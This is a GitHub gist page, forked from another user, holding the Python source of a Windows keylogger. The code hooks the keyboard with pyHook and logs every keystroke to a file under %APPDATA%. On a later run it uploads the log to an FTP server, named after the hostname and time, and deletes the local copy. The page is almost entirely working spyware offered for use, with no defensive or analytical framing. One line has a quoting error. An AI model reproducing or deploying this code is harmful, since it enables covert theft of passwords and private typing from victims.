Skip to content

Instantly share code, notes, and snippets.

@daVinci13
Forked from AlexAvlonitis/Keylogger.py
Last active August 29, 2015 14:06
Show Gist options
  • Save daVinci13/06393ba5b766c540c4e7 to your computer and use it in GitHub Desktop.
Save daVinci13/06393ba5b766c540c4e7 to your computer and use it in GitHub Desktop.
"""
Simple FTP Keylogger project v1.0 by Alex Avlonitis www.techfromhell.blogspot.com
inspired by https://github.com/ajinabraham/Xenotix-Python-Keylogger
"""
from ftplib import FTP
import win32api
import sys
import pythoncom, pyHook
import os
import datetime, time
import socket
appdata = os.getenv('APPDATA')
keyfile = appdata+'/keys.txt'
data=""
ts = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')
hn = socket.gethostname()
if os.path.exists(keyfile):
fp = open(keyfile,'r')
ftp = FTP("your ftp server")
ftp.login("username","password")
ftp.cwd("Folder name") # The folder you want your files to be stored on the ftp server
ftp.storbinary("STOR keys-"+hn+"-"+str(ts)+"txt", fp, 1024) # Upload it on ftp, and append the filename with the hostname + current date
ftp.quit()
fp.close()
os.remove(keyfile) # Delete the file after the ftp upload
else:
fp = open(keyfile,'w') # Stores the keystrokes under %appdata%
def keypressed(event):
global data
if event.Ascii==13:
keys='<ENTER>\n'
fp=open(keyfile','a')
data=keys
fp.write(data)
fp.close()
elif event.Ascii==8:
keys='<BACK SPACE>'
fp=open(keyfile,'a')
data=keys
fp.write(data)
fp.close()
elif event.Ascii==9:
keys='<TAB>'
fp=open(keyfile,'a')
data=keys
fp.write(data)
fp.close()
elif event.Ascii==27:
raise SystemExit # Stop the script if you press esc
else:
keys=chr(event.Ascii)
fp=open(keyfile,'a')
data=keys
fp.write(data)
fp.close()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment